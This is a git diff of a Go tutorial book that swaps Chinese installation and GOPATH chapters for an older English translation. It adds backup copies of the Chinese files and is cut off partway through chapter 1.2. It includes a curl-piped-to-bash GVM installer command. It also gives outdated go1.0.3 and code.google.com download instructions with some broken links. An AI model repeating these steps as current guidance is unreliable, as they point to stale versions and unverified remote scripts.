diff --git a/en/01.0.md b/en/01.0.md index 4aa68fb1..a1e30140 100644 --- a/en/01.0.md +++ b/en/01.0.md @@ -1,23 +1,20 @@ -# 1 GO环境配置 - -欢迎来到Go的世界,让我们开始探索吧! - -Go是一种新的语言,一种并发的、带垃圾回收的、快速编译的语言。它具有以下特点: - -- 它可以在一台计算机上用几秒钟的时间编译一个大型的Go程序。 -- Go为软件构造提供了一种模型,它使依赖分析更加容易,且避免了大部分C风格include文件与库的开头。 -- Go是静态类型的语言,它的类型系统没有层级。因此用户不需要在定义类型之间的关系上花费时间,这样感觉起来比典型的面向对象语言更轻量级。 -- Go完全是垃圾回收型的语言,并为并发执行与通信提供了基本的支持。 -- 按照其设计,Go打算为多核机器上系统软件的构造提供一种方法。 - -Go是一种编译型语言,它结合了解释型语言的游刃有余,动态类型语言的开发效率,以及静态类型的安全性。它也打算成为现代的,支持网络与多核计算的语言。要满足这些目标,需要解决一些语言上的问题:一个富有表达能力但轻量级的类型系统,并发与垃圾回收机制,严格的依赖规范等等。这些无法通过库或工具解决好,因此Go也就应运而生了。 - -在本章中,我们将讲述Go的安装方法,以及如何配置项目信息。 - -## 目录 - -![](images/navi1.png?raw=true) - -## links - * [目录]() - * 下一节: [Go安装](<01.1.md>) +# 1 Go Environment Configuration + +Welcome to the world of Go, let's start exploring! + +Go is a fast-compiled, garbage-collected, concurrent systems programming language. It has the following advantages: + +- Compiles a large project within a few seconds. +- Provides a software development model that is easy to reason about, avoiding most of the problems associated with C-style header files. +- Is a static language that does not have levels in its type system, so users do not need to spend much time dealing with relations between types. It is more like a lightweight object-oriented language. +- Performs garbage collection. It provides basic support for concurrency and communication. +- Designed for multi-core computers. + +Go is a compiled language. It combines the development efficiency of interpreted or dynamic languages with the security of static languages. It is going to be the language of choice for modern, multi-core computers with networking. For these purposes, there are some problems that need to inherently be resolved at the level of the language of choice, such as a richly expressive lightweight type system, a native concurrency model, and strictly regulated garbage collection. For quite some time, no packages or tools have emerged that have aimed to solve all of these problems in a pragmatic fashion; thus was born the motivation for the Go language. + +In this chapter, I will show you how to install and configure your own Go development environment. + +## Links + +- [Directory](preface.md) +- Next section: [Installation](01.1.md) diff --git a/en/01.0.md~380a8ee74c41759d8189ad553423467994187253 b/en/01.0.md~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 00000000..e0e66aae --- /dev/null +++ b/en/01.0.md~380a8ee74c41759d8189ad553423467994187253 @@ -0,0 +1,23 @@ +# 1 GO环境配置 + +欢迎来到Go的世界,让我们开始探索吧! + +Go是一种新的语言,一种并发的、带垃圾回收的、快速编译的语言。它具有以下特点: + +- 它可以在一台计算机上用几秒钟的时间编译一个大型的Go程序。 +- Go为软件构造提供了一种模型,它使依赖分析更加容易,且避免了大部分C风格include文件与库的开头。 +- Go是静态类型的语言,它的类型系统没有层级。因此用户不需要在定义类型之间的关系上花费时间,这样感觉起来比典型的面向对象语言更轻量级。 +- Go完全是垃圾回收型的语言,并为并发执行与通信提供了基本的支持。 +- 按照其设计,Go打算为多核机器上系统软件的构造提供一种方法。 + +Go是一种编译型语言,它结合了解释型语言的游刃有余,动态类型语言的开发效率,以及静态类型的安全性。它也打算成为现代的,支持网络与多核计算的语言。要满足这些目标,需要解决一些语言上的问题:一个富有表达能力但轻量级的类型系统,并发与垃圾回收机制,严格的依赖规范等等。这些无法通过库或工具解决好,因此Go也就应运而生了。 + +在本章中,我们将讲述Go的安装方法,以及如何配置项目信息。 + +## 目录 + +![](images/navi1.png?raw=true) + +## links + * [目录]() + * 下一节: [Go安装](<01.1.md>) diff --git a/en/01.1.md b/en/01.1.md index ec013b04..41ccc4bc 100644 --- a/en/01.1.md +++ b/en/01.1.md @@ -1,153 +1,123 @@ -# 1.1 Go 安装 +# 1.1 Installation -## Go的三种安装方式 -Go有多种安装方式,你可以选择自己喜欢的。这里我们介绍三种最常见的安装方式: +## Three ways to install Go -- Go源码安装:这是一种标准的软件安装方式。对于经常使用Unix类系统的用户,尤其对于开发者来说,从源码安装可以自己定制。 -- Go标准包安装:Go提供了方便的安装包,支持Windows、Linux、Mac等系统。这种方式适合快速安装,可根据自己的系统位数下载好相应的安装包,一路next就可以轻松安装了。**推荐这种方式** -- 第三方工具安装:目前有很多方便的第三方软件包工具,例如Ubuntu的apt-get、Mac的homebrew等。这种安装方式适合那些熟悉相应系统的用户。 +There are many ways to configure the Go development environment on your computer, and you can choose whichever one you like. The three most common ways are as follows. -最后,如果你想在同一个系统中安装多个版本的Go,你可以参考第三方工具[GVM](https://github.com/moovweb/gvm),这是目前在这方面做得最好的工具,除非你知道怎么处理。 -## Go源码安装 -在Go的源代码中,有些部分是用Plan 9 C和AT&T汇编写的,因此假如你要想从源码安装,就必须安装C的编译工具。 +- Official installation packages. + - The Go team provides convenient installation packages in Windows, Linux, Mac and other operating systems. This is probably the easiest way to get started. +- Install it yourself from source code. + - Popular with developers who are familiar with Unix-like systems. +- Using third-party tools. + - There are many third-party tools and package managers for installing Go, like apt-get in Ubuntu and homebrew for Mac. + +In case you want to install more than one version of Go on a computer, you should take a look at a tool called [GVM](https://github.com/moovweb/gvm). It is the best tool I've seen so far for accomplishing this task, otherwise you'd have to deal with it yourself. -在Mac系统中,只要你安装了Xcode,就已经包含了相应的编译工具。 +## Install from source code -在类Unix系统中,需要安装gcc等工具。例如Ubuntu系统可通过在终端中执行`sudo apt-get install gcc libc6-dev`来安装编译工具。 +Because some parts of Go are written in Plan 9 C and AT&T assembler, you have to install a C compiler before taking the next step. -在Windows系统中,你需要安装MinGW,然后通过MinGW安装gcc,并设置相应的环境变量。 +On a Mac, if you have installed Xcode, you already have the compiler. -你可以直接去官网[下载源码](http://golang.org/dl/),找相应的`goVERSION.src.tar.gz`的文件下载,下载之后解压缩到`$HOME`目录,执行如下代码: +On Unix-like systems, you need to install gcc or a similar compiler. For example, using the package manager apt-get (included with Ubuntu), one can install the required compilers as follows: + `sudo apt-get install gcc libc6-dev` + +On Windows, you need to install MinGW in order to install gcc. Don't forget to configure your environment variables after the installation has completed.( ***Everything that looks like this means it's commented by a translator: If you are using 64-bit Windows, you should install the 64-bit version of MinGW*** ) + +The Go team uses [Mercurial](http://mercurial.selenic.com/downloads/) to manage their source code, so you need to install this tool in order to download the Go source code. + +At this point, execute the following commands to clone the Go source code and compile it.( ***It will clone the source code to your current directory. Switch your work path before you continue. This may take some time.*** ) + + hg clone -u release https://code.google.com/p/go cd go/src - ./all.bash + ./all.bash + +A successful installation will end with the message "ALL TESTS PASSED." -运行all.bash后出现"ALL TESTS PASSED"字样时才算安装成功。 +On Windows, you can achieve the same by running `all.bat`. -上面是Unix风格的命令,Windows下的安装方式类似,只不过是运行`all.bat`,调用的编译器是MinGW的gcc。 +If you are using Windows, the installation package will set your environment variables automatically. In Unix-like systems, you need to set these variables manually as follows. ( ***If your Go version is greater than 1.0, you don't have to set $GOBIN, and it will automatically be related to your $GOROOT/bin, which we will talk about in the next section***) -如果是Mac或者Unix用户需要设置几个环境变量,如果想重启之后也能生效的话把下面的命令写到`.bashrc`或者`.zshrc`里面, + export GOROOT=$HOME/go + export GOBIN=$GOROOT/bin + export PATH=$PATH:$GOROOT/bin - export GOPATH=$HOME/gopath - export PATH=$PATH:$HOME/go/bin:$GOPATH/bin - -如果你是写入文件的,记得执行`bash .bashrc`或者`bash .zshrc`使得设置立马生效。 - -如果是window系统,就需要设置环境变量,在path里面增加相应的go所在的目录,设置gopath变量。 - -当你设置完毕之后在命令行里面输入`go`,看到如下图片即说明你已经安装成功 +If you see the following information on your screen, you're all set. ![](images/1.1.mac.png?raw=true) -图1.1 源码安装之后执行Go命令的图 +Figure 1.1 Information after installing from source code -如果出现Go的Usage信息,那么说明Go已经安装成功了;如果出现该命令不存在,那么可以检查一下自己的PATH环境变中是否包含了Go的安装目录。 +Once you see the usage information of Go, it means you have successfully installed Go on your computer. If it says "no such command", check that your $PATH environment variable contains the installation path of Go. -> 关于上面的GOPATH将在下面小节详细讲解 +## Using the standard installation packages -## Go标准包安装 +Go has one-click installation packages for every supported operating system. These packages will install Go in `/usr/local/go` (`c:\Go` in Windows) by default. Of course this can be modified, but you also need to change all the environment variables manually as I've shown above. -Go提供了每个平台打好包的一键安装,这些包默认会安装到如下目录:/usr/local/go (Windows系统:c:\Go),当然你可以改变他们的安装位置,但是改变之后你必须在你的环境变量中设置如下信息: +### How to check if your operating system is 32-bit or 64-bit? - export GOROOT=$HOME/go - export GOPATH=$HOME/gopath - export PATH=$PATH:$GOROOT/bin:$GOPATH/bin +Our next step depends on your operating system type, so we have to check it before we download the standard installation packages. -上面这些命令对于Mac和Unix用户来说最好是写入`.bashrc`或者`.zshrc`文件,对于windows用户来说当然是写入环境变量。 +If you are using Windows, press `Win+R` and then run the command tool. Type the `systeminfo` command and it will show you some useful system information. Find the line that says "system type" -if you see "x64-based PC" that means your operating system is 64-bit, 32-bit otherwise. -### 如何判断自己的操作系统是32位还是64位? +I strongly recommend downloading the 64-bit package if you are a Mac user, as Go no longer supports pure 32-bit processors on Mac OSX. -我们接下来的Go安装需要判断操作系统的位数,所以这小节我们先确定自己的系统类型。 +Linux users can type `uname -a` in the terminal to see system information. +A 64-bit operating system will show the following: -Windows系统用户请按Win+R运行cmd,输入`systeminfo`后回车,稍等片刻,会出现一些系统信息。在“系统类型”一行中,若显示“x64-based PC”,即为64位系统;若显示“X86-based PC”,则为32位系统。 + x86_64 x86_64 x86_64 GNU/Linux + // some machines such as Ubuntu 10.04 will show as following + x86_64 GNU/Linux -Mac系统用户建议直接使用64位的,因为Go所支持的Mac OS X版本已经不支持纯32位处理器了。 +32-bit operating systems instead show: -Linux系统用户可通过在Terminal中执行命令`arch`(即`uname -m`)来查看系统信息: + i686 i686 i386 GNU/Linux -64位系统显示 +### Mac - x86_64 +Go to the [download page](http://code.google.com/p/go/downloads/list), choose `go1.0.3.darwin-386.pkg` for 32-bit systems and `go1.0.3.darwin-amd64.pkg` for 64-bit systems. Going all the way to the end by clicking "next", `~/go/bin` will be added to your system's $PATH after you finish the installation. Now open the terminal and type `go`. You should see the same output shown in igure 1.1. -32位系统显示 +### Linux - i386 +Go to the [download page]((http://code.google.com/p/go/downloads/list), choose `go1.0.3.linux-386.tar.gz` for 32-bit systems and `go1.0.3.linux-amd64.tar.gz` for 64-bit systems. Suppose you want to install Go in the `$GO_INSTALL_DIR` path. Uncompress the `tar.gz` to your chosen path using the command `tar zxvf go1.0.3.linux-amd64.tar.gz -C $GO_INSTALL_DIR`. Then set your $PATH with the following: `export PATH=$PATH:$GO_INSTALL_DIR/go/bin`. Now just open the terminal and type `go`. You should now see the same output displayed in figure 1.1. -### Mac 安装 +### Windows -访问[下载地址][downlink],32位系统下载go1.4.2.darwin-386-osx10.8.pkg,64位系统下载go1.4.2.darwin-amd64-osx10.8.pkg,双击下载文件,一路默认安装点击下一步,这个时候go已经安装到你的系统中,默认已经在PATH中增加了相应的`~/go/bin`,这个时候打开终端,输入`go` +Go to the [download page]((http://code.google.com/p/go/downloads/list), choose `go1.0.3.windows-386.msi` for 32-bit systems and `go1.0.3.windows-amd64.msi` for 64-bit systems. Going all the way to the end by clicking "next", `c:/go/bin` will be added to `path`. Now just open a command line window and type `go`. You should now see the same output displayed in figure 1.1. -看到类似上面源码安装成功的图片说明已经安装成功 - -如果出现go的Usage信息,那么说明go已经安装成功了;如果出现该命令不存在,那么可以检查一下自己的PATH环境变中是否包含了go的安装目录。 - -### Linux 安装 - -访问[下载地址][downlink],32位系统下载go1.4.2.linux-386.tar.gz,64位系统下载go1.4.2.linux-amd64.tar.gz, - -假定你想要安装Go的目录为 `$GO_INSTALL_DIR`,后面替换为相应的目录路径。 - -解压缩`tar.gz`包到安装目录下:`tar zxvf go1.4.2.linux-amd64.tar.gz -C $GO_INSTALL_DIR`。 - -设置PATH,`export PATH=$PATH:$GO_INSTALL_DIR/go/bin` - -然后执行`go` - -![](images/1.1.linux.png?raw=true) - -图1.2 Linux系统下安装成功之后执行go显示的信息 - -如果出现go的Usage信息,那么说明go已经安装成功了;如果出现该命令不存在,那么可以检查一下自己的PATH环境变中是否包含了go的安装目录。 - -### Windows 安装 ### - -访问[Google Code 下载页][downlink],32 位请选择名称中包含 windows-386 的 msi 安装包,64 位请选择名称中包含 windows-amd64 的。下载好后运行,不要修改默认安装目录 C:\Go\,若安装到其他位置会导致不能执行自己所编写的 Go 代码。安装完成后默认会在环境变量 Path 后添加 Go 安装目录下的 bin 目录 `C:\Go\bin\`,并添加环境变量 GOROOT,值为 Go 安装根目录 `C:\Go\` 。 - -**验证是否安装成功** - -在运行中输入 `cmd` 打开命令行工具,在提示符下输入 `go`,检查是否能看到 Usage 信息。输入 `cd %GOROOT%`,看是否能进入 Go 安装目录。若都成功,说明安装成功。 - -不能的话请检查上述环境变量 Path 和 GOROOT 的值。若不存在请卸载后重新安装,存在请重启计算机后重试以上步骤。 - -## 第三方工具安装 +## Use third-party tools ### GVM -gvm是第三方开发的Go多版本管理工具,类似ruby里面的rvm工具。使用起来相当的方便,安装gvm使用如下命令: +GVM is a Go multi-version control tool developed by a third-party, like rvm for ruby. It's quite easy to use. Install gvm by typing the following commands in your terminal: - bash < <(curl -s -S -L https://raw.githubusercontent.com/moovweb/gvm/master/binscripts/gvm-installer) + bash < <(curl -s https://raw.github.com/moovweb/gvm/master/binscripts/gvm-installer) -安装完成后我们就可以安装go了: +Then we install Go using the following commands: - gvm install go1.4.2 - gvm use go1.4.2 + gvm install go1.0.3 + gvm use go1.0.3 -也可以使用下面的命令,省去每次调用gvm use的麻烦: - gvm use go1.4.2 --default - -执行完上面的命令之后GOPATH、GOROOT等环境变量会自动设置好,这样就可以直接使用了。 +After the process has finished, you're all set. ### apt-get -Ubuntu是目前使用最多的Linux桌面系统,使用`apt-get`命令来管理软件包,我们可以通过下面的命令来安装Go,为了以后方便,应该把 `git` `mercurial` 也安装上: - sudo apt-get install python-software-properties - sudo add-apt-repository ppa:gophers/go - sudo apt-get update - sudo apt-get install golang-stable git-core mercurial +Ubuntu is the most popular desktop release version of Linux. It uses `apt-get` to manage packages. We can install Go using the following commands. -### homebrew -homebrew是Mac系统下面目前使用最多的管理软件的工具,目前已支持Go,可以通过命令直接安装Go,为了以后方便,应该把 `git` `mercurial` 也安装上: + sudo add-apt-repository ppa:gophers/go + sudo apt-get update + sudo apt-get install golang-stable - brew update && brew upgrade - brew install go - brew install git - brew install mercurial +### Homebrew +Homebrew is a software management tool commonly used in Mac to manage packages. Just type the following commands to install Go. -## links - * [目录]() - * 上一节: [Go环境配置](<01.0.md>) - * 下一节: [GOPATH 与工作空间](<01.2.md>) + brew install go -[downlink]:http://golang.org/dl/ "Go安装包下载" +## Links + +- [Directory](preface.md) +- Previous section: [Go environment configuration](01.0.md) +- Next section: [$GOPATH and workspace](01.2.md) diff --git a/en/01.1.md~380a8ee74c41759d8189ad553423467994187253 b/en/01.1.md~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 00000000..ec013b04 --- /dev/null +++ b/en/01.1.md~380a8ee74c41759d8189ad553423467994187253 @@ -0,0 +1,153 @@ +# 1.1 Go 安装 + +## Go的三种安装方式 +Go有多种安装方式,你可以选择自己喜欢的。这里我们介绍三种最常见的安装方式: + +- Go源码安装:这是一种标准的软件安装方式。对于经常使用Unix类系统的用户,尤其对于开发者来说,从源码安装可以自己定制。 +- Go标准包安装:Go提供了方便的安装包,支持Windows、Linux、Mac等系统。这种方式适合快速安装,可根据自己的系统位数下载好相应的安装包,一路next就可以轻松安装了。**推荐这种方式** +- 第三方工具安装:目前有很多方便的第三方软件包工具,例如Ubuntu的apt-get、Mac的homebrew等。这种安装方式适合那些熟悉相应系统的用户。 + +最后,如果你想在同一个系统中安装多个版本的Go,你可以参考第三方工具[GVM](https://github.com/moovweb/gvm),这是目前在这方面做得最好的工具,除非你知道怎么处理。 + +## Go源码安装 +在Go的源代码中,有些部分是用Plan 9 C和AT&T汇编写的,因此假如你要想从源码安装,就必须安装C的编译工具。 + +在Mac系统中,只要你安装了Xcode,就已经包含了相应的编译工具。 + +在类Unix系统中,需要安装gcc等工具。例如Ubuntu系统可通过在终端中执行`sudo apt-get install gcc libc6-dev`来安装编译工具。 + +在Windows系统中,你需要安装MinGW,然后通过MinGW安装gcc,并设置相应的环境变量。 + +你可以直接去官网[下载源码](http://golang.org/dl/),找相应的`goVERSION.src.tar.gz`的文件下载,下载之后解压缩到`$HOME`目录,执行如下代码: + + cd go/src + ./all.bash + +运行all.bash后出现"ALL TESTS PASSED"字样时才算安装成功。 + +上面是Unix风格的命令,Windows下的安装方式类似,只不过是运行`all.bat`,调用的编译器是MinGW的gcc。 + +如果是Mac或者Unix用户需要设置几个环境变量,如果想重启之后也能生效的话把下面的命令写到`.bashrc`或者`.zshrc`里面, + + export GOPATH=$HOME/gopath + export PATH=$PATH:$HOME/go/bin:$GOPATH/bin + +如果你是写入文件的,记得执行`bash .bashrc`或者`bash .zshrc`使得设置立马生效。 + +如果是window系统,就需要设置环境变量,在path里面增加相应的go所在的目录,设置gopath变量。 + +当你设置完毕之后在命令行里面输入`go`,看到如下图片即说明你已经安装成功 + +![](images/1.1.mac.png?raw=true) + +图1.1 源码安装之后执行Go命令的图 + +如果出现Go的Usage信息,那么说明Go已经安装成功了;如果出现该命令不存在,那么可以检查一下自己的PATH环境变中是否包含了Go的安装目录。 + +> 关于上面的GOPATH将在下面小节详细讲解 + +## Go标准包安装 + +Go提供了每个平台打好包的一键安装,这些包默认会安装到如下目录:/usr/local/go (Windows系统:c:\Go),当然你可以改变他们的安装位置,但是改变之后你必须在你的环境变量中设置如下信息: + + export GOROOT=$HOME/go + export GOPATH=$HOME/gopath + export PATH=$PATH:$GOROOT/bin:$GOPATH/bin + +上面这些命令对于Mac和Unix用户来说最好是写入`.bashrc`或者`.zshrc`文件,对于windows用户来说当然是写入环境变量。 + +### 如何判断自己的操作系统是32位还是64位? + +我们接下来的Go安装需要判断操作系统的位数,所以这小节我们先确定自己的系统类型。 + +Windows系统用户请按Win+R运行cmd,输入`systeminfo`后回车,稍等片刻,会出现一些系统信息。在“系统类型”一行中,若显示“x64-based PC”,即为64位系统;若显示“X86-based PC”,则为32位系统。 + +Mac系统用户建议直接使用64位的,因为Go所支持的Mac OS X版本已经不支持纯32位处理器了。 + +Linux系统用户可通过在Terminal中执行命令`arch`(即`uname -m`)来查看系统信息: + +64位系统显示 + + x86_64 + +32位系统显示 + + i386 + +### Mac 安装 + +访问[下载地址][downlink],32位系统下载go1.4.2.darwin-386-osx10.8.pkg,64位系统下载go1.4.2.darwin-amd64-osx10.8.pkg,双击下载文件,一路默认安装点击下一步,这个时候go已经安装到你的系统中,默认已经在PATH中增加了相应的`~/go/bin`,这个时候打开终端,输入`go` + +看到类似上面源码安装成功的图片说明已经安装成功 + +如果出现go的Usage信息,那么说明go已经安装成功了;如果出现该命令不存在,那么可以检查一下自己的PATH环境变中是否包含了go的安装目录。 + +### Linux 安装 + +访问[下载地址][downlink],32位系统下载go1.4.2.linux-386.tar.gz,64位系统下载go1.4.2.linux-amd64.tar.gz, + +假定你想要安装Go的目录为 `$GO_INSTALL_DIR`,后面替换为相应的目录路径。 + +解压缩`tar.gz`包到安装目录下:`tar zxvf go1.4.2.linux-amd64.tar.gz -C $GO_INSTALL_DIR`。 + +设置PATH,`export PATH=$PATH:$GO_INSTALL_DIR/go/bin` + +然后执行`go` + +![](images/1.1.linux.png?raw=true) + +图1.2 Linux系统下安装成功之后执行go显示的信息 + +如果出现go的Usage信息,那么说明go已经安装成功了;如果出现该命令不存在,那么可以检查一下自己的PATH环境变中是否包含了go的安装目录。 + +### Windows 安装 ### + +访问[Google Code 下载页][downlink],32 位请选择名称中包含 windows-386 的 msi 安装包,64 位请选择名称中包含 windows-amd64 的。下载好后运行,不要修改默认安装目录 C:\Go\,若安装到其他位置会导致不能执行自己所编写的 Go 代码。安装完成后默认会在环境变量 Path 后添加 Go 安装目录下的 bin 目录 `C:\Go\bin\`,并添加环境变量 GOROOT,值为 Go 安装根目录 `C:\Go\` 。 + +**验证是否安装成功** + +在运行中输入 `cmd` 打开命令行工具,在提示符下输入 `go`,检查是否能看到 Usage 信息。输入 `cd %GOROOT%`,看是否能进入 Go 安装目录。若都成功,说明安装成功。 + +不能的话请检查上述环境变量 Path 和 GOROOT 的值。若不存在请卸载后重新安装,存在请重启计算机后重试以上步骤。 + +## 第三方工具安装 + +### GVM + +gvm是第三方开发的Go多版本管理工具,类似ruby里面的rvm工具。使用起来相当的方便,安装gvm使用如下命令: + + bash < <(curl -s -S -L https://raw.githubusercontent.com/moovweb/gvm/master/binscripts/gvm-installer) + +安装完成后我们就可以安装go了: + + gvm install go1.4.2 + gvm use go1.4.2 + +也可以使用下面的命令,省去每次调用gvm use的麻烦: + gvm use go1.4.2 --default + +执行完上面的命令之后GOPATH、GOROOT等环境变量会自动设置好,这样就可以直接使用了。 + +### apt-get +Ubuntu是目前使用最多的Linux桌面系统,使用`apt-get`命令来管理软件包,我们可以通过下面的命令来安装Go,为了以后方便,应该把 `git` `mercurial` 也安装上: + + sudo apt-get install python-software-properties + sudo add-apt-repository ppa:gophers/go + sudo apt-get update + sudo apt-get install golang-stable git-core mercurial + +### homebrew +homebrew是Mac系统下面目前使用最多的管理软件的工具,目前已支持Go,可以通过命令直接安装Go,为了以后方便,应该把 `git` `mercurial` 也安装上: + + brew update && brew upgrade + brew install go + brew install git + brew install mercurial + + +## links + * [目录]() + * 上一节: [Go环境配置](<01.0.md>) + * 下一节: [GOPATH 与工作空间](<01.2.md>) + +[downlink]:http://golang.org/dl/ "Go安装包下载" diff --git a/en/01.2.md b/en/01.2.md index a1bdf280..b12a9029 100644 --- a/en/01.2.md +++ b/en/01.2.md @@ -1,180 +1,151 @@ -# 1.2 GOPATH与工作空间 - -前面我们在安装Go的时候看到需要设置GOPATH变量,Go从1.1版本开始必须设置这个变量,而且不能和Go的安装目录一样,这个目录用来存放Go源码,Go的可运行文件,以及相应的编译之后的包文件。所以这个目录下面有三个子目录:src、bin、pkg - -## GOPATH设置 - go 命令依赖一个重要的环境变量:$GOPATH - - Windows系统中环境变量的形式为`%GOPATH%`,本书主要使用Unix形式,Windows用户请自行替换。 - - *(注:这个不是Go安装目录。下面以笔者的工作目录为示例,如果你想不一样请把GOPATH替换成你的工作目录。)* - - 在类似 Unix 环境大概这样设置: -```sh -export GOPATH=/home/apple/mygo -``` - 为了方便,应该新建以上文件夹,并且上一行加入到 `.bashrc` 或者 `.zshrc` 或者自己的 `sh` 的配置文件中。 - - Windows 设置如下,新建一个环境变量名称叫做GOPATH: -```sh - GOPATH=c:\mygo -``` -GOPATH允许多个目录,当有多个目录时,请注意分隔符,多个目录的时候Windows是分号,Linux系统是冒号,当有多个GOPATH时,默认会将go get的内容放在第一个目录下。 - - -以上 $GOPATH 目录约定有三个子目录: - -- src 存放源代码(比如:.go .c .h .s等) -- pkg 编译后生成的文件(比如:.a) -- bin 编译后生成的可执行文件(为了方便,可以把此目录加入到 $PATH 变量中,如果有多个gopath,那么使用`${GOPATH//://bin:}/bin`添加所有的bin目录) - -以后我所有的例子都是以mygo作为我的gopath目录 - - -## 代码目录结构规划 -GOPATH下的src目录就是接下来开发程序的主要目录,所有的源码都是放在这个目录下面,那么一般我们的做法就是一个目录一个项目,例如: $GOPATH/src/mymath 表示mymath这个应用包或者可执行应用,这个根据package是main还是其他来决定,main的话就是可执行应用,其他的话就是应用包,这个会在后续详细介绍package。 - - -所以当新建应用或者一个代码包时都是在src目录下新建一个文件夹,文件夹名称一般是代码包名称,当然也允许多级目录,例如在src下面新建了目录$GOPATH/src/github.com/astaxie/beedb 那么这个包路径就是"github.com/astaxie/beedb",包名称是最后一个目录beedb - -下面我就以mymath为例来讲述如何编写应用包,执行如下代码 -```sh -cd $GOPATH/src -mkdir mymath -``` - -新建文件sqrt.go,内容如下 -```go -// $GOPATH/src/mymath/sqrt.go源码如下: -package mymath - -func Sqrt(x float64) float64 { - z := 0.0 - for i := 0; i < 1000; i++ { - z -= (z*z - x) / (2 * x) - } - return z -} -``` -这样我的应用包目录和代码已经新建完毕,注意:一般建议package的名称和目录名保持一致 - -## 编译应用 -上面我们已经建立了自己的应用包,如何进行编译安装呢?有两种方式可以进行安装 - -1、只要进入对应的应用包目录,然后执行`go install`,就可以安装了 - -2、在任意的目录执行如下代码`go install mymath` - -安装完之后,我们可以进入如下目录 -```sh -cd $GOPATH/pkg/${GOOS}_${GOARCH} -//可以看到如下文件 -mymath.a -``` -这个.a文件是应用包,那么我们如何进行调用呢? - -接下来我们新建一个应用程序来调用这个应用包 - -新建应用包mathapp -```sh -cd $GOPATH/src -mkdir mathapp -cd mathapp -vim main.go -``` - -`$GOPATH/src/mathapp/main.go`源码: -```go -package main - -import ( - "mymath" - "fmt" -) - -func main() { - fmt.Printf("Hello, world. Sqrt(2) = %v\n", mymath.Sqrt(2)) -} -``` - -可以看到这个的package是`main`,import里面调用的包是`mymath`,这个就是相对于`$GOPATH/src`的路径,如果是多级目录,就在import里面引入多级目录,如果你有多个GOPATH,也是一样,Go会自动在多个`$GOPATH/src`中寻找。 - -如何编译程序呢?进入该应用目录,然后执行`go build`,那么在该目录下面会生成一个mathapp的可执行文件 -```sh -./mathapp -``` - -输出如下内容 -```sh -Hello, world. Sqrt(2) = 1.414213562373095 -``` - -如何安装该应用,进入该目录执行`go install`,那么在$GOPATH/bin/下增加了一个可执行文件mathapp, 还记得前面我们把`$GOPATH/bin`加到我们的PATH里面了,这样可以在命令行输入如下命令就可以执行 - -```sh -mathapp -``` - -也是输出如下内容 - - Hello, world. Sqrt(2) = 1.414213562373095 - -这里我们展示如何编译和安装一个可运行的应用,以及如何设计我们的目录结构。 - -## 获取远程包 - go语言有一个获取远程包的工具就是`go get`,目前go get支持多数开源社区(例如:github、googlecode、bitbucket、Launchpad) - - go get github.com/astaxie/beedb - ->go get -u 参数可以自动更新包,而且当go get的时候会自动获取该包依赖的其他第三方包 - -通过这个命令可以获取相应的源码,对应的开源平台采用不同的源码控制工具,例如github采用git、googlecode采用hg,所以要想获取这些源码,必须先安装相应的源码控制工具 - -通过上面获取的代码在我们本地的源码相应的代码结构如下 - - $GOPATH - src - |--github.com - |-astaxie - |-beedb - pkg - |--相应平台 - |-github.com - |--astaxie - |beedb.a - -go get本质上可以理解为首先第一步是通过源码工具clone代码到src下面,然后执行`go install` - -在代码中如何使用远程包,很简单的就是和使用本地包一样,只要在开头import相应的路径就可以 - - import "github.com/astaxie/beedb" - -## 程序的整体结构 -通过上面建立的我本地的mygo的目录结构如下所示 - - bin/ - mathapp - pkg/ - 平台名/ 如:darwin_amd64、linux_amd64 - mymath.a - github.com/ - astaxie/ - beedb.a - src/ - mathapp - main.go - mymath/ - sqrt.go - github.com/ - astaxie/ - beedb/ - beedb.go - util.go - -从上面的结构我们可以很清晰的看到,bin目录下面存的是编译之后可执行的文件,pkg下面存放的是应用包,src下面保存的是应用源代码 - - -## links - * [目录]() - * 上一节: [GO安装](<01.1.md>) - * 下一节: [GO 命令](<01.3.md>) +#1.2 $GOPATH and workspace + +## $GOPATH + +Go commands all rely on one important environment variable called $GOPATH. Notice that this is not the $GOROOT variable where Go is installed. This variable points to the workspace of Go on your computer (I use this path on my computer; if you don't have the same directory structure, please replace by yourself). + +In Unix-like systems, the variable should be used like this: + + export GOPATH=/home/apple/mygo + +In Windows, you need to create a new environment variable called GOPATH, then set its value to `c:\mygo`( ***This value depends on where your workspace is located*** ) + +It's OK to have more than one path (workspace) in $GOPATH, but remember that you have to use `:`(`;` in Windows) to break them up. At this point, `go get` will save the content to your first path in $GOPATH. + +In $GOPATH, you must have three folders as follows. + +- `src` for source files whose suffix is .go, .c, .g, .s. +- `pkg` for compiled files whose suffix is .a. +- `bin` for executable files + +In this book, I use `mygo` as my only path in $GOPATH. + +## Package directory + +Create package source files and folders like `$GOPATH/src/mymath/sqrt.go` (`mymath` is the package name) ( ***Author uses `mymath` as his package name, and same name for the folder where contains package source files***) + +Every time you create a package, you should create a new folder in the `src` directory. Folder names are usually the same as the package that you are going to use. You can have multi-level directories if you want to. For example, if you create the directory `$GOPATH/src/github.com/astaxie/beedb`, then the package path would be `github.com/astaxie/beedb`. The package name will be the last directory in your path, which is `beedb` in this case. + +Execute following commands. ( ***Now author goes back to talk examples*** ) + + cd $GOPATH/src + mkdir mymath + +Create a new file called `sqrt.go`, type following content to your file. + + // Source code of $GOPATH/src/mymath/sqrt.go + package mymath + + func Sqrt(x float64) float64 { + z := 0.0 + for i := 0; i < 1000; i++ { + z -= (z*z - x) / (2 * x) + } + return z + } + +Now my package directory has been created and its code has been written. I recommend that you use the same name for your packages as their corresponding directories, and that the directories contain all of the package source files. + +## Compile packages + +We've already created our package above, but how do we compile it for practical purposes? There are two ways to do this. + +1. Switch your work path to the directory of your package, then execute the `go install` command. +2. Execute the above command except with a file name, like `go install mymath`. + +After compiling, we can open the following folder. + + cd $GOPATH/pkg/${GOOS}_${GOARCH} + // you can see the file was generated + mymath.a + +The file whose suffix is `.a` is the binary file of our package. How do we use it? + +Obviously, we need to create a new application to use it. + +Create a new application package called `mathapp`. + + cd $GOPATH/src + mkdir mathapp + cd mathapp + vim main.go + +code + + //$GOPATH/src/mathapp/main.go source code. + package main + + import ( + "mymath" + "fmt" + ) + + func main() { + fmt.Printf("Hello, world. Sqrt(2) = %v\n", mymath.Sqrt(2)) + } + +To compile this application, you need to switch to the application directory, which in this case is `$GOPATH/src/mathapp`, then execute the `go install` command. Now you should see an executable file called `mathapp` was generated in the directory `$GOPATH/bin/`. To run this program, use the `./mathapp` command. You should see the following content in your terminal. + + Hello world. Sqrt(2) = 1.414213562373095 + +## Install remote packages + +Go has a tool 